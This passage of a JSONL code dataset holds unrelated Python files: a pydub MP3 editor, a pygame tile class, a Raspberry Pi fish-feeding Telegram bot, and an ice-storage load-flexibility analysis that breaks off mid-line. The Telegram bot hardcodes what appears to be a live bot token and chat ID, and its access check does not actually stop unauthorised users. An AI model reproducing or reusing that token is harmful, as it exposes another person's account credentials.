pydub\n\"\"\"\n\nfrom typing import Optional\n\nfrom pydub import AudioSegment, playback, utils # type: ignore\n\ntry:\n import pyaudio # type: ignore\n USE_PYAUDIO = True\nexcept ImportError:\n USE_PYAUDIO = False\n\nfrom musicbingo.mp3.editor import MP3Editor, MP3File, MP3FileWriter\nfrom musicbingo.progress import Progress\nfrom musicbingo.song import Song\n\nclass PydubEditor(MP3Editor):\n \"\"\"MP3Editor implementation using pydub\"\"\"\n def _generate(self, destination: MP3FileWriter,\n progress: Progress) -> None:\n \"\"\"generate output file, combining all input files\"\"\"\n output: Optional[AudioSegment] = None\n num_files = float(len(destination._files))\n for index, mp3file in enumerate(destination._files, 1):\n progress.pct = 50.0 * index / num_files\n progress.text = f'Adding {mp3file.filename.name}'\n if progress.abort:\n return\n seg = AudioSegment.from_mp3(str(mp3file.filename))\n if mp3file.start is not None:\n if mp3file.end is not None:\n seg = seg[mp3file.start:mp3file.end]\n else:\n seg = seg[mp3file.start:]\n elif mp3file.end is not None:\n seg = seg[:mp3file.end]\n if mp3file.headroom is not None:\n seg = seg.normalize(mp3file.headroom)\n if output is None:\n output = seg\n else:\n output += seg\n tags = None\n if destination._metadata is not None:\n tags = {\n \"artist\": Song.clean(destination._metadata.artist),\n \"title\": Song.clean(destination._metadata.title)\n }\n if destination._metadata.album:\n tags[\"album\"] = Song.clean(destination._metadata.album)\n assert output is not None\n progress.text = f'Encoding MP3 file \"{destination.filename.name}\"'\n progress.pct = 50.0\n if progress.abort:\n return\n dest_dir = destination.filename.parent\n if not dest_dir.exists():\n dest_dir.mkdir(parents=True)\n output.export(str(destination.filename), format=\"mp3\",\n bitrate=destination.bitrate, tags=tags)\n progress.pct = 100.0\n\n def play(self, mp3file: MP3File, progress: Progress) -> None:\n \"\"\"play the specified mp3 file\"\"\"\n global USE_PYAUDIO # pylint: disable=global-statement\n\n seg = AudioSegment.from_mp3(str(mp3file.filename))\n if mp3file.start is not None:\n if mp3file.end is not None:\n seg = seg[mp3file.start:mp3file.end]\n else:\n seg = seg[mp3file.start:]\n elif mp3file.end is not None:\n seg = seg[:mp3file.end]\n if mp3file.headroom is not None:\n seg = seg.normalize(mp3file.headroom)\n if USE_PYAUDIO:\n self.play_with_pyaudio(seg, progress)\n else:\n # pydub has multiple playback fallbacks, but does not\n # provide an easy way to abort playback\n playback.play(seg)\n\n @staticmethod\n def play_with_pyaudio(seg: AudioSegment, progress: Progress) -> None:\n \"\"\"use pyaudio library to play audio segment\"\"\"\n pya = pyaudio.PyAudio()\n stream = pya.open(format=pya.get_format_from_width(seg.sample_width),\n channels=seg.channels,\n rate=seg.frame_rate,\n output=True)\n\n try:\n chunks = utils.make_chunks(seg, 500)\n scale: float = 1.0\n if chunks:\n scale = 100.0 / float(len(chunks))\n for index, chunk in enumerate(chunks):\n if progress.abort:\n break\n progress.pct = index * scale\n stream.write(chunk._data)\n finally:\n stream.stop_stream()\n stream.close()\n pya.terminate()\n","sub_path":"musicbingo/mp3/pydubeditor.py","file_name":"pydubeditor.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"631657479","text":"import pygame\n\nfrom Colors import Colors\n\n\nclass TilePane(object):\n \n def __init__(self, topleftTuple, sizeTuple, imageFileName=None):\n \n self.rect = pygame.Rect(topleftTuple, sizeTuple)\n if imageFileName is None:\n self.image = pygame.Surface(sizeTuple).convert_alpha()\n self.dirty = False\n\n self.solidity = None\n self.material = None\n \n self.groupId = \"\"\n\n self.images = {\n \"solidity\": None,\n \"material\": None\n }\n \n def getImage(self):\n \n self.image.fill(Colors.AlphaInvisible)\n \n if self.images[\"material\"] is not None:\n self.image.blit(self.images[\"material\"], (0, 0))\n if self.images[\"solidity\"] is not None:\n self.image.blit(self.images[\"solidity\"], (0, 0))\n\n return self.image\n\n def clear(self):\n\n self.material = None\n self.solidity = None\n self.images[\"material\"] = None\n self.images[\"solidity\"] = None\n self.dirty = True\n self.groupId = \"\"\n \n def __eq__(self, otherTile):\n \n solidityMatches = self.solidity == otherTile.solidity\n materialMatches = self.material == otherTile.material\n \n return solidityMatches and materialMatches\n \n def __ne__(self, otherTile):\n \n return not(self.__eq__(otherTile))\n","sub_path":"App/TilePane.py","file_name":"TilePane.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"325096786","text":"import RPi.GPIO as GPIO\nimport time, datetime\nimport os\nimport sys\nimport telepot\nimport telepot.helper\nfrom telepot.loop import MessageLoop\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton, ReplyKeyboardMarkup, KeyboardButton\nfrom telepot.delegate import (\n per_chat_id, create_open, pave_event_space, include_callback_query_chat_id)\n\n#t = time.localtime()\n'''\nsetTime1 = '2:12'\nstat1 = 0\nsetTime2 = '2:12'\nstat2 = 0\nsetTime3 = '2:12'\nstat3 = 0\n'''\n\nGPIO.setwarnings(False)\n\n# Inisialisasi Pin\nDIR_MTR1 = 14\nDIR_MTR2 = 15\nSTEP_MTR1 = 12\nSTEP_MTR2 = 13\nDRIVER = 18\nRELAY = 23\n\n# Perintah untuk menggunakan pin board GPIO Raspberry Pi\nGPIO.setmode(GPIO.BCM)\n\n# Pengaturan GPIO \nGPIO.setup(DIR_MTR1, GPIO.OUT)\nGPIO.setup(DIR_MTR2, GPIO.OUT)\nGPIO.setup(STEP_MTR1, GPIO.OUT)\nGPIO.setup(STEP_MTR2, GPIO.OUT)\nGPIO.setup(DRIVER, GPIO.OUT)\nGPIO.setup(RELAY, GPIO.OUT)\n\nGPIO.output(RELAY, 1) #Off initially\n\npropose_records = telepot.helper.SafeDict() # thread-safe dict\n\n#SetTelegram\nTOKEN = '1202817061:AAHLFAFoftMnaOenIt59XG_IzGIp8a7yM2M'\nCHATID = 1137202289\n\n#set schedul/jadwal pencitraan\nschedule = 0\n\njadwal_1 = 0\njadwal_2 = 0\njadwal_3 = 0\ntakar_1 = 0\ntakar_2 = 0\ntakar_3 = 0\nstatus_1 = False\nstatus_2 = False\nstatus_3 = False\n\nclass Lover(telepot.helper.ChatHandler):\n keyboard = ReplyKeyboardMarkup(keyboard=[[ #<-- Menu awal\n KeyboardButton(text='Beri Pakan'),\n KeyboardButton(text='Pengaturan')], [\n KeyboardButton(text='UMmm ...'),\n KeyboardButton(text='Keluar')\n ]], one_time_keyboard=True)\n keyboard1 = ReplyKeyboardMarkup(keyboard=[[ #<-- Terusan Pengaturan dari Menu Awal\n KeyboardButton(text='Set Penjadwalan Pemberian Pakan')], [\n KeyboardButton(text='Set Dosis Pemberian Pakan')\n ]], one_time_keyboard=True)\n keyboard2 = ReplyKeyboardMarkup(keyboard=[[ #-- Terusan Pengaturan-Takaran dari Menu Awal\n KeyboardButton(text='Jadwal Kolam 1'),\n KeyboardButton(text='Jadwal Kolam 2')], [\n KeyboardButton(text='Jadwal Kolam 3'),\n KeyboardButton(text='Jadwal Semua Kolam')], [\n KeyboardButton(text='Kembali')\n ]], one_time_keyboard=True)\n keyboard3 = ReplyKeyboardMarkup(keyboard=[[ #<-- Terusan Pengaturan-Waktu dari Menu Awal\n KeyboardButton(text='Dosis Kolam 1'),\n KeyboardButton(text='Dosis Kolam 2')], [\n KeyboardButton(text='Dosis Kolam 3'),\n KeyboardButton(text='Dosis Semua Kolam')], [\n KeyboardButton(text='Kembali')\n ]], one_time_keyboard=True)\n keyboard4 = InlineKeyboardMarkup(inline_keyboard=[[ #-- Terusan Pengaturan-Takaran dari Menu Awal\n InlineKeyboardButton(text='00:00', callback_data='0'),\n InlineKeyboardButton(text='01:00', callback_data='1'), \n InlineKeyboardButton(text='02:00', callback_data='2'),\n InlineKeyboardButton(text='03:00', callback_data='3')],[\n InlineKeyboardButton(text='04:00', callback_data='4'),\n InlineKeyboardButton(text='05:00', callback_data='5'), \n InlineKeyboardButton(text='06:00', callback_data='6'),\n InlineKeyboardButton(text='07:00', callback_data='7')],[\n InlineKeyboardButton(text='08:00', callback_data='8'),\n InlineKeyboardButton(text='09:00', callback_data='9'), \n InlineKeyboardButton(text='10:00', callback_data='10'),\n InlineKeyboardButton(text='11:00', callback_data='11')],[\n InlineKeyboardButton(text='12:00', callback_data='12'),\n InlineKeyboardButton(text='13:00', callback_data='13'), \n InlineKeyboardButton(text='14:00', callback_data='14'),\n InlineKeyboardButton(text='15:00', callback_data='15')],[\n InlineKeyboardButton(text='16:00', callback_data='16'),\n InlineKeyboardButton(text='17:00', callback_data='17'), \n InlineKeyboardButton(text='18:00', callback_data='18'),\n InlineKeyboardButton(text='19:00', callback_data='19')],[\n InlineKeyboardButton(text='20:00', callback_data='20'),\n InlineKeyboardButton(text='21:00', callback_data='21'), \n InlineKeyboardButton(text='22:00', callback_data='22'),\n InlineKeyboardButton(text='23:00', callback_data='23')],[\n InlineKeyboardButton(text='Kembali', callback_data='kembali')\n ]], resize_keyboard=True, one_time_keyboard=True)\n keyboard5 = ReplyKeyboardMarkup(keyboard=[[ \n KeyboardButton(text='Pakan Kolam 1'),\n KeyboardButton(text='Pakan Kolam 2')], [\n KeyboardButton(text='Pakan Kolam 3'),\n KeyboardButton(text='Pakan Semua Kolam')], [\n KeyboardButton(text='Kembali')\n ]], one_time_keyboard=True)\n\n def __init__(self, *args, **kwargs):\n super(Lover, self).__init__(*args, **kwargs)\n\n # Retrieve from database\n global propose_records\n if self.id in propose_records:\n self._edit_msg_ident = propose_records[self.id]\n self._editor = telepot.helper.Editor(self.bot, self._edit_msg_ident) if self._edit_msg_ident else None\n else:\n self._edit_msg_ident = None\n self._editor = None\n\n def _propose(self):\n sent = self.sender.sendMessage('Apa yang perlu saya lakukan ?', reply_markup=self.keyboard)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n \n \"\"\"\n def _propose_time(self):\n current_time = time.strftime(\"%H:%M\", t)\n (h, m) = current_time.split(':')\n result = int(h) * 3600 + int(m) * 60\n \n (h, m) = setTime1.split(':')\n timeklm1 = int(h) * 3600 + int(m) * 60\n \n (h, m) = setTime2.split(':')\n timeklm2 = int(h) * 3600 + int(m) * 60\n \n (h, m) = setTime3.split(':')\n timeklm3 = int(h) * 3600 + int(m) * 60\n \"\"\"\n\n def _cancel_last(self):\n if self._editor:\n self._editor.editMessageReplyMarkup(reply_markup=None)\n self._editor = None\n self._edit_msg_ident = None\n\n def on_chat_message(self, msg):\n global jadwal_1\n global jadwal_2\n global jadwal_3\n global takar_1\n global takar_2\n global takar_3\n global status_1\n global status_2\n global status_3\n\n chat_id = msg['chat']['id']\n if msg['from']['id'] != CHATID:\n bot.sendMessage(chat_id, \"Maaf ini adalah bot pribadi. Akses ditolak!\")\n self.close()\n \n command = msg['text']\n if (command == 'Keluar'):\n sent = self.sender.sendMessage(\"Terima kasih! \\nBye..\")\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n self.close()\n #== bagian pengaturan ==\n elif (command == 'Pengaturan'):\n sent = self.sender.sendMessage('Apa yang ingin Anda atur?', reply_markup=self.keyboard1)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Set Penjadwalan Pemberian Pakan'):\n sent = self.sender.sendMessage('Kolam mana yang ingi Anda atur Penjadwalan Pakannya ?', parse_mode='html', reply_markup=self.keyboard2)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Set Dosis Pemberian Pakan'):\n sent = self.sender.sendMessage('Kolam mana yang ingi Anda atur Dosis Pakannya ?', parse_mode='html', reply_markup=self.keyboard3)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Jadwal Kolam 1'):\n status_1 = True\n status_2 = False\n status_3 = False\n sent = self.sender.sendMessage('Silahkan pilih waktu penjadwalan pakan..', reply_markup=self.keyboard4 )\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Jadwal Kolam 2'):\n status_1 = False\n status_2 = True\n status_3 = False\n sent = self.sender.sendMessage('Silahkan pilih waktu penjadwalan pakan..', reply_markup=self.keyboard4 )\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Jadwal Kolam 3'):\n status_1 = False\n status_2 = False\n status_3 = True\n sent = self.sender.sendMessage('Silahkan pilih waktu penjadwalan pakan..', reply_markup=self.keyboard4 )\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n elif (command == 'Jadwal Semua Kolam'):\n status_1 = True\n status_2 = True\n status_3 = True\n sent = self.sender.sendMessage('Silahkan pilih waktu penjadwalan pakan..', reply_markup=self.keyboard4 )\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n #== end pengaturan ==\n else :\n self._propose()\n \n #self._cancel_last() \n\n def on_callback_query(self, msg):\n global jadwal_1\n global jadwal_2\n global jadwal_3\n global takar_1\n global takar_2\n global takar_3\n global status_1\n global status_2\n global status_3\n \n query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\n \n # == Setting Penjadwalan == \n if query_data == '1':\n self.bot.answerCallbackQuery(query_id, text='Ok. Penjadwalan tersimpan..')\n self._cancel_last()\n text = 'Penjadwalan pemberian Pakan pada kolam '\n if (status_1):\n text += '1, '\n jadwal_1 = 1\n status_1 = False\n if (status_2):\n text += '2, '\n jadwal_2 = 1\n status_2 = False\n if (status_3):\n text += '3, '\n jadwal_3 = 1\n status_3 = False\n text += 'telah diset ke jam 01:00'\n sent = self.sender.sendMessage(text)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n self.close()\n \n elif query_data == 'dosis':\n self.bot.answerCallbackQuery(query_id, text='Ok. Pertanyaan berikutnya...')\n self._cancel_last()\n sent = self.sender.sendMessage('Kolam mana yang ingin anda atur dosis pakannya?', reply_markup=self.keyboard4)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n \n # ==pemberian pakan== \n elif query_data == 'pakan':\n self.bot.answerCallbackQuery(query_id, text='Ok. Pertanyaan berikutnya...')\n self._cancel_last()\n sent = self.sender.sendMessage('Kolam mana yang ingin anda beri pakan?', reply_markup=self.keyboard2)\n self._editor = telepot.helper.Editor(self.bot, sent)\n self._edit_msg_ident = telepot.message_identifier(sent)\n \n elif query_data == 'pknk1':\n if setTime1 == 'null' :\n self.bot.answerCallbackQuery(query_id, text='Ok. Pemberian pakan pada kolam 1 akan dilakukan...')\n self._cancel_last()\n #!! kasi pakan, kamera jalan,\n stat1 = 1\n self.sender.sendMessage('Pemberian pakan pada kolam 1 telah selesai \\nketikkan perintah /dokumentasi untuk mendapat rekaman video..')\n self.close()\n else :\n if stat1 == 0 :\n self.bot.answerCallbackQuery(query_id, text='Peringatan !!!')\n self._cancel_last()\n self.sender.sendMessage('Pemberian pakan pada kolam 1 Telah dijadwlkan pada pukul' + setTime1 + '\\nketikkan perintah /force1 untuk memberikan pakan sekarang juga..')\n self.close()\n \n else:\n self.bot.answerCallbackQuery(query_id, text='Ok. Tapi aku akan terus bertanya.')\n self._cancel_last()\n self._propose()\n \n def on__idle(self, event):\n global status_1\n global status_2\n global status_3\n if status_1 or status_2 or status_3 :\n self.sender.sendMessage('Saya tahu Anda mungkin perlu sedikit waktu. Aku akan selalu di sini untukmu.')\n self._cancel_last()\n self.close()\n \n def on_close(self, ex):\n # Save to database\n global propose_records\n propose_records[self.id] = (self._edit_msg_ident)\n\n\nbot = telepot.DelegatorBot(TOKEN, [\n include_callback_query_chat_id(\n pave_event_space())(\n per_chat_id(types=['private']), create_open, Lover, timeout=30),\n])\nMessageLoop(bot).run_as_thread()\nprint('Listening ...')\n\n#while 1: <--sama dengan true\nwhile True:\n now = datetime.datetime.now()\n print(now.hour,\":\",now.minute)\n print(jadwal_1,\":\",jadwal_2,\":\",jadwal_3,\":\",takar_1,\":\",takar_2,\":\",takar_3)\n if (now.hour == schedule):\n schedule = schedule + 1\n if (schedule == 24):\n schedule = 0\n from colorDetection import deteksi\n if (deteksi):\n print(\"terdeteksi\")\n #bot.sendMessage(CHATID, 'PERINGATAN !! SISTEM MENDETEKSI TERDAPAT IKAN MATI PADA KOLAM, SEGERA PERIKSA KONDISI KOLAM ANDA')\n bot.sendPhoto(CHATID, open('citra.jpg', 'rb'), caption = 'PERINGATAN !! SISTEM MENDETEKSI TERDAPAT IKAN MATI PADA KOLAM, SEGERA PERIKSA KONDISI KOLAM ANDA')\n else :\n print(\"tidak Terdeteksi\")\n time.sleep(60)\n","sub_path":"aFiFa5.py","file_name":"aFiFa5.py","file_ext":"py","file_size_in_byte":14600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"446201888","text":"# Facility Load Flexibilty Calculations for Ice Storage\n# by Karl Heine, Mines, 9/2019\n\n# Description: This python script loads an eso and performs calculations at each timestep for the potential of the\n# facility to reduce its max kW and total kWh over specified \"future\" time horizons. The results are then reported\n# in .csv/.txt output and plotted as .html interactive graphics.\n\n# Online Reference for Plotly: https://plot.ly/python/line-and-scatter/\n\nimport os\nimport sys\nimport calendar\nimport esoreader\nimport pandas as pd\nimport numpy as np\nimport plotly\nimport plotly.graph_objs as go\nfrom plotly import subplots\n\n# External Functions\nfrom performance import ice_performance\n\n# Program Control\nexp = False\t\t#Export Results\nf1 = False\t\t#Plot Results for Flex\nadd = True\t\t#Perform Load Add Calcs\n\n#-----------------------------------------------------------------------------------------------------------------------\n## Model and Analysis Parameter Definitions\n\n# Define Filepath\nfilepath = os.getcwd() + '/esos/'\n\n# Define Model Parameters\nfilename = 'SS47L15.eso'\t#Secondary School, CZ 2A, ice meets up to 30% of design load, chiller downsize applied\nice_cap = 2000\t\t\t\t\t#ton-hours\nchiller_cap = 347\t\t\t\t#tons\nchiller_COP = 2.80\t\t\t\t#nominal chiller COP\nmin_cap = 0.15 * chiller_cap\t#min PLR * nominal chiller capacity\ndescriptor = 'Secondary School in CZ 2A'\n\n# Load File\nprint('Loading File: ' + filename)\ndd, data = esoreader.read(filepath + filename)\n\n# Define Chiller/Ice Tank Names for ESO Data Directory Inspection\nice_name = 'THERMAL STORAGE ICE DETAILED 1'\nchill_name = '90.1-2010 AIRCOOLED WITHCONDENSER CHILLER 0 456TONS 1.3KW/TON'\n\n# Define Run Period\nrun_start = pd.datetime(2006,1,1,0)\t\t\t\t#Hour 0 on Jan 1\nrun_end = pd.datetime(2006,12,31,23,59)\t\t\t#Hour 23:59 on Dec 31\nts_per_hr = 4\t\t\t\t\t\t\t\t\t#15 minute simulation timestep !!!! Adjust date_range objects too!\nx_ts = pd.date_range(start = run_start, end = run_end, freq = '15min')\t\t#Vector of timestamps for simulation run pd\n\n# Define Analysis Peirod\nan_start = pd.datetime(2006,1,1,0)\t\t\t\t#Analysis Start Hour\nan_end = pd.datetime(2006,12,31,17)\t\t\t#Analysis Finish Hour\nan_pd = []\t\t\t\t\t\t\t\t\t\t#Index range of analysis period - empty\nidx = 0\nfor x in x_ts:\n\tif x == an_start:\n\t\tan_pd.append(idx)\n\tif x == an_end:\n\t\tan_pd.append(idx)\n\tidx += 1\n\nx_an = pd.date_range(start = x_ts[an_pd[0]], end = x_ts[an_pd[1]], freq = '15min')\t#Timestamp vector - for plotting\nprint(x_an[0])\n\n# Define Occupied Hours and Days\nocc_flag = 0\nocc_hrs = [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]\t\t#Occupied from 08:00 through 20:00 (Pandas Hours Range from 0-23)\nocc_days = [0, 1, 2, 3, 4]\t\t#Excludes Sat and Sun\n\n# Define Flex Windows - number of future hours over which flexibilty is required\nwindow = [0.5, 1, 2, 3, 4, 5, 6]\n\n# Define Variables and Arrays for Load Shed Calcs\nkw_tr = [[None for i in range(len(x_an))] for j in range(len(window))]\nkw_future_tr = [[None for i in range(len(x_an))] for j in range(len(window))]\nkwh_tr = [[None for i in range(len(x_an))] for j in range(len(window))]\npost_flex_soc_tr = [[None for i in range(len(x_an))] for j in range(len(window))]\nno_flex_soc_tr = [[None for i in range(len(x_an))] for j in range(len(window))]\nocc_counter = 0\nno_rate_counter = [0 for j in range(len(window))]\nno_soc_counter =[0 for j in range(len(window))]\ntotal_counter = [0 for j in range(len(window))]\nflex_counter = [0 for j in range(len(window))]\nflex_future_counter = [0 for j in range(len(window))]\nocc_flex_counter = [0 for j in range(len(window))]\navg_flex = [0 for j in range(len(window))]\navg_flex_future = [0 for j in range(len(window))]\navg_occ_flex = [0 for j in range(len(window))]\navg_kwh_flex = [0 for j in range(len(window))]\n\n#Define Variables and Arrays for Load Add Clacs\nadd = [[None for i in range(len(x_an))] for j in range(len(window))]\nadd_occ = [[None for i in range(len(x_an))] for j in range(len(window))]\nadd_counter = [0 for j in range(len(window))]\nadd_occ_counter = [0 for j in range(len(window))]\navg_add = [0 for j in range(len(window))]\navg_add_occ = [0 for j in range(len(window))]\n\n#-----------------------------------------------------------------------------------------------------------------------\n## Load Required Variables\n\n#facility electric energy [J -> kW]\nkey = dd.index['TimeStep', None, 'Electricity:Facility']\npwr_facil = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#HVAC electric energy [J -> kWh]\nkey = dd.index['TimeStep', None, 'Electricity:HVAC']\npwr_hvac = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#cooling electric energy [J -> kW]\nkey = dd.index['TimeStep', None, 'Cooling:Electricity']\npwr_cool = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#pump electric energy [J -> kW]\nkey = dd.index['TimeStep', None, 'Pumps:Electricity']\npwr_pump = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#fan electric energy [J -> kW]\nkey = dd.index['TimeStep', None, 'Fans:Electricity']\npwr_fan = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#chiller electric energy [J -> kW] - incl condenser unit\nkey = dd.index['TimeStep', chill_name, 'Chiller Electric Energy']\npwr_chill = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#plant total electric energy [J -> kW] - all Plants!\nkey = dd.index['TimeStep', None, 'Electricity:Plant']\npwr_plant = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#ice tank ancillary electric energy [J -> kW]\nkey = dd.index['TimeStep', ice_name, 'Ice Thermal Storage Ancillary Electric Energy']\npwr_ice = [j * 2.77778e-7 * ts_per_hr for j in data[key]]\n\n#chiller cooling rate [W -> tons]\nkey = dd.index['TimeStep', chill_name, 'Chiller Evaporator Cooling Rate']\nrate_chill = [w * 0.0002843451 for w in data[key]]\n\n#ice tank cooling rate [W -> tons]\nkey = dd.index['TimeStep', ice_name, 'Ice Thermal Storage Cooling Discharge Rate']\nrate_dchg = [w * 0.0002843451 for w in data[key]]\n\n#ice tank charging rate [W -> tons]\nkey = dd.index['TimeStep', ice_name, 'Ice Thermal Storage Cooling Charge Rate']\nrate_chg = [w * 0.0002843451 for w in data[key]]\n\n#ice state of charge [-]\nkey = dd.index['TimeStep', ice_name, 'Ice Thermal Storage End Fraction']\nsoc = data[key]\n\n#drybulb temperature [C]\nkey = dd.index['TimeStep', 'Environment', 'Site Outdoor Air Drybulb Temperature']\ntdb = data[key]\n\n#wetbulb temperature [C]\nkey = dd.index['TimeStep', 'Environment', 'Site Outdoor Air Wetbulb Temperature']\ntwb = data[key]\n\n#return water temperature [C]\nkey = dd.index['TimeStep', 'CHILLED WATER LOOP SUPPLY INLET NODE', 'System Node Temperature']\nreturn_temp = data[key]\n\n#supply water temperature [C]\nkey = dd.index['TimeStep', 'CHILLED WATER LOOP SETPOINT SCHEDULE (NEW)', 'Schedule Value']\nsupply_temp = data[key]\n\n#facility electric power w/o chiller [kW]\npwr_facil_wo_chill = [pwr_facil[i] - pwr_chill[i] for i in range(len(pwr_facil))]\n\n#total cooling rate - chiller and ice [tons]\nrate_cool = [0] * len(rate_chill)\nfor i in range(len(rate_chill)):\n\tif rate_chg[i] == 0:\n\t\trate_cool[i] = rate_chill[i] + rate_dchg[i]\n\telse:\n\t\trate_cool[i] = rate_chill[i] - rate_chg[i]\n\nprint(' Data Successfully Loaded.\\n')\n\n#-----------------------------------------------------------------------------------------------------------------------\n## Calculations\nprint('Performing Calculations')\n\n# Iterate Over Every Timestep in Analysis Period\nfor t in range(an_pd[0], an_pd[1]):\n\n\t# Determine if t is in occupied hour\n\tif x_ts[t].dayofweek in occ_days and x_ts[t].hour in occ_hrs:\n\t\tocc_flag = 1\n\t\tocc_counter += 1\n\telse:\n\t\tocc_flag = 0\n\n\t# Iterate Analysis over Every Flex Window\n\tfor w in window:\n\n\t\te_flag = 0\t\t\t# Sufficient energy in ice tank flag\n\t\tp_flag = 0\t\t\t# Sufficient discharge capacity (power) flag\n\t\tflag = [0, 0, 0]\t# Charge/discharge indicator flag (start, peak, end)\n\n\t\t# Determine Number of Timesteps in Analysis Period\n\t\tsteps = int(w * ts_per_hr)\n\n\t\t# Integrate and Find Max Cooling and Electric Loads\n\t\tc = 0\n\t\tload_cool_to_pk = 0\n\t\te = 0\n\t\te_no_chill = 0\n\t\tload_e_no_chill = 0\n\t\tload_cool = 0\t\t# Total cooling energy required over analysis period [ton-hours]\n\t\tpk_cool = 0\t\t\t# Peak cooling rate required over analysis period [tons]\n\t\tpk_c_ts = 0\t\t\t# Timestep index of peak cooling rate [-]\n\t\tload_elec = 0\t\t# Total facility energy required over analysis period [kWh]\n\t\tpk_elec = 0\t\t\t# Peak facility power required over analysis period [kW]\n\t\tpk_e_ts = 0\t\t\t# Timestep index of peak facility power [-]\n\n\t\t#(Chiller Cooling Rate + Ice Cooling Rate) * ts [ton-hours]\n\t\tc = rate_cool[t:t+steps]\t\t\t\t\t\t# Subsection of total cooling load (provided) profile [tons]\n\t\tload_cool = sum(c) / ts_per_hr\t\t\t\t\t# Convert tons into ton-hours of cooling\n\t\tpk_cool = max(c)\t\t\t\t\t\t\t\t# Max tons of cooling in analysis period\n\t\tpk_c_ts = t + c.index(pk_cool) + 1\t\t\t\t# Timestep of max cooling\n\t\tload_cool_to_pk = sum(rate_cool[t:pk_c_ts])\t\t# Cooling load up to peak cooling timestep\n\n\t\t#Facility Power * ts [kWh]\n\t\te = pwr_facil[t:t+steps]\t\t\t\t\t\t# Subsection of facility power curve [kW]\n\t\te_no_chill = pwr_facil_wo_chill[t:t+steps]\t\t# Subsection of facility power w/o chiller curve [kW]\n\t\tload_elec = sum(e) / ts_per_hr\t\t\t\t\t# Convert kW into kWh values using timesteps/hour\n\t\tload_e_no_chill = sum(e_no_chill) / ts_per_hr\t# Convert kW into kWh values\n\t\tpk_elec = max(e)\t\t\t\t\t\t\t\t# Max kW for facility in analysis period\n\t\tpk_e_ts = t + e.index(pk_elec) + 1\t\t\t\t# Timestep of max kW\n\n\t\t# Check Cooling Energy Capacity Remaining\n\t\tavail_cap = ice_cap * soc[t]\n\t\tif avail_cap > load_cool:\n\t\t\tsoc_at_end = (avail_cap - load_cool) / ice_cap\n\t\t\te_flag = 1\n\t\telse:\n\t\t\tno_soc_counter[window.index(w)] += 1\n\n\t\t# Set Charge/Discharge Flag\n\t\tidx = 0\n\t\tfor i in [t, pk_c_ts, t+steps]:\n\t\t\tif rate_chg[i] > 0:\n\t\t\t\tflag[idx] = 1\n\t\t\telif rate_dchg[i] > 0:\n\t\t\t\tflag[idx] = 0\n\t\t\telse:\n\t\t\t\tflag[idx] = -1\n\n\t\t# Check Cooling Rate Ice Can Provide\n\t\tsoc_at_peak = (avail_cap - load_cool_to_pk) / ice_cap\n\t\tmax_dchg = [0, 0, 0]\t\t# @ start, peak, and end\n\t\tmax_dchg[0] = ice_performance(soc[t], return_temp[t], supply_temp[t], ice_cap, 0)\n\t\tmax_dchg[1] = ice_performance(soc_at_peak, return_temp[pk_c_ts], supply_temp[pk_c_ts], ice_cap, 0)\n\t\tmax_dchg[2] = ice_performance(soc_at_end, return_temp[t+steps], supply_temp[t+steps], ice_cap, 0)\n\n\t\t# If cooling rates can meet start, max, and average, then there is no cooling rate restriction on the DR shed\n\t\t# All units in tons\n\t\tif (max_dchg[0] + max_dchg[2]) / 2 * w >= load_cool \\\n\t\tand max_dchg[1] > pk_cool and max_dchg[2] > c[-1]:\n\t\t\tp_flag = 1\n\t\telse:\n\t\t\tno_rate_counter[window.index(w)] += 1\n\n\t\t# If ice can meet both energy and rate requirements, remove chiller power from load to calculate flex potential\n\t\tif e_flag and p_flag:\n\n\t\t\t#Total flex possible counter\n\t\t\ttotal_counter[window.index(w)] += 1\n\n\t\t\t# Calculate the projected kWh shaved over analysis window\n\t\t\tkwh_flex = load_elec - load_e_no_chill\n\n\t\t\t# Calc kW reduction relative to current timestep and to analysis window\n\t\t\tnew_max_kw = max(pwr_facil_wo_chill[t:t+steps])\n\t\t\tkw_flex = pwr_facil[t] - new_max_kw\n\t\t\tkw_flex_future = pk_elec - new_max_kw\n\n\t\t\t# Do not include periods when no kW reduction is provided (relative to pk_elec)\n\t\t\tif kw_flex_future <= 0:\n\t\t\t\tkw_flex_future = 0\n\t\t\telse:\n\t\t\t\tflex_future_counter[window.index(w)] += 1\n\t\t\t\tavg_flex_future[window.index(w)] += kw_flex_future\n\n\t\t\t\t# Calculate shed flex during occupied hours only\n\t\t\t\tif occ_flag == 1:\n\t\t\t\t\tocc_flex_counter[window.index(w)] += 